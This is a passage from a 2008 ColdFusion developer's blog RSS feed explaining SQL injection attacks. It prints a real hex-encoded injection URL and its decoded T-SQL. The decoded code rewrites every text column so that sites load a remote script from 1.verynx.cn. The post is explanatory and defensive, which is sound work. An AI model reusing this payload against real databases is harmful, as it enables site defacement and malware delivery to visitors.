<p>As the popular idiom goes <q>prevention is better than a cure</q>, I will discuss in my next post how to mitigate against <acronym title="Structured Query Language">SQL</acronym> Injection attacks &#8212; on ColdFusion-based websites &#8212; before they become a problem.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>What is a SQL Injection Attack</title>
		<link>http://www.simonwhatley.co.uk/what-is-a-sql-injection-attack</link>
		<comments>http://www.simonwhatley.co.uk/what-is-a-sql-injection-attack#comments</comments>
		<pubDate>Wed, 13 Aug 2008 13:09:45 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[China]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[malicious web users]]></category>
		<category><![CDATA[North Korea]]></category>
		<category><![CDATA[online world]]></category>
		<category><![CDATA[Russia]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[T]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web applications]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=812</guid>
		<description><![CDATA[Over the past few weeks, subversive elements in the international arena have decided that attacking websites is a fun thing to do! The online world has become the new battle ground between nations vying to de-stabilise rivals. This may seem all very Jack Bauer, but we are increasingly seening ‘SQL injection attacks’ eminating from countries such as Russia, China and North Korea. Of course, that doesn’t mean our countries aren’t doing the same in return, but we only see the results from foreign-based attacks.]]></description>
			<content:encoded><![CDATA[<p>Over the past few weeks, subversive elements in the international arena have decided that attacking websites is a fun thing to do! The online world has become the new battle ground between nations vying to de-stabilise rivals. This may seem all very <a href="http://en.wikipedia.org/wiki/Jack_Bauer" title="Wikipedia: Jack Bauer" target="_blank" rel="nofollow">Jack Bauer</a>, but we are increasingly seeing &#8216;<acronym title="Structured Query Language">SQL</acronym> injection attacks&#8217; eminating from countries such as Russia, China and North Korea. Of course, that doesn&#8217;t mean our countries aren&#8217;t doing the same in return, but we only see the results from foreign-based attacks.</p>
<h3>What is a SQL Injection Attack?</h3>
<p><a href="http://en.wikipedia.org/wiki/SQL_injection" title="Wikipedia: SQL Injection" target="_blank" rel="nofollow">SQL Injection</a> is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Real World Example</h3>
<p><acronym title="Structured Query Language">SQL</acronym> Injection attacks are commonly associated with a technique called <a href="http://en.wikipedia.org/wiki/Cross-site_scripting" title="Wikipedia: Cross-Site Scripting" target="_blank" rel="nofollow">Cross-Site Scripting</a> (<abbr title="Cross-Site Scripting">XSS</abbr>). <abbr title="Cross-Site Scripting">XSS</abbr> is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users.</p>
<p>In reality, what does this look like?</p>
<p>The following is a legitimate URL that may be navigated to by the user agent:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">http://www.domain.com/folderName/fileName.cfm?variable1=0&amp;variable2=4241</pre></div></div>

<p>The following is a hacked URL:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">http://www.domain.com/folderName/filename.cfm?
variable1=0&amp;variable2=4241;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524520405420766172636861722
8323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F522
0464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C7
56D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E787479706
53D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204
F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E5
44F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065786563282775706461746
5205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697
074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776
865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D226874747
03A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854204
6524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736
F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);</pre></div></div>

<p>The code appended to the <abbr title="Universal Resource Locator">URL</abbr> is hexadecimal. This can be interpreted by the <acronym title="Structured Query Language">SQL</acronym> engine. When the hexadecimal string is decoded by the <acronym title="Structured Query Language">SQL</acronym> server, the <acronym title="Structured Query Language">SQL</acronym> code generated looks similar to the following:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR
FOR SELECT a.name,b.name from sysobjects a,syscolumns b
WHERE a.id=b.id
AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''&quot;&gt;&lt;/title&gt;
&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--''
where '+@C+' not like ''%&quot;&gt;&lt;/title&gt;
&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre></div></div>

<p>Somewhat unhelpfully, if the user credentials used to access the database have access to the system tables of your database, the <acronym title="Structured Query Language">SQL</acronym> injection attack will be able to interrogate those system tables and determine the structure of your database. The result, of the above example, is that the following code is injected into every string-based column in every table.</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--</pre></div></div>

<p>To put it simply, this is <em>very bad news</em>!</p>
<h3>ColdFusion-hacking is Popularised</h3>
<p>ColdFusion-based sites are by no means immune to this international &#8216;information war&#8217;. The popularity of attacks on ColdFusion-based websites can be summarised by the fact that an article was featured on <a href="http://www.0x000000.com/?i=610" title="0x000000.com - The Hacker Webzine">The Hacker Webzine</a> recently, detailing how to implement a successful attack.</p>
<h3>How to &#8216;Fix&#8217; the Problem</h3>
<p>As ColdFusion developers we not only need to be aware of the problem, we need to also know how to fix the problem and mitigate against an attack before it even happens.</p>
<p>In my next post, I will discuss how to fix a <acronym title="Structured Query Language">SQL</acronym> injection attack.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/what-is-a-sql-injection-attack/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

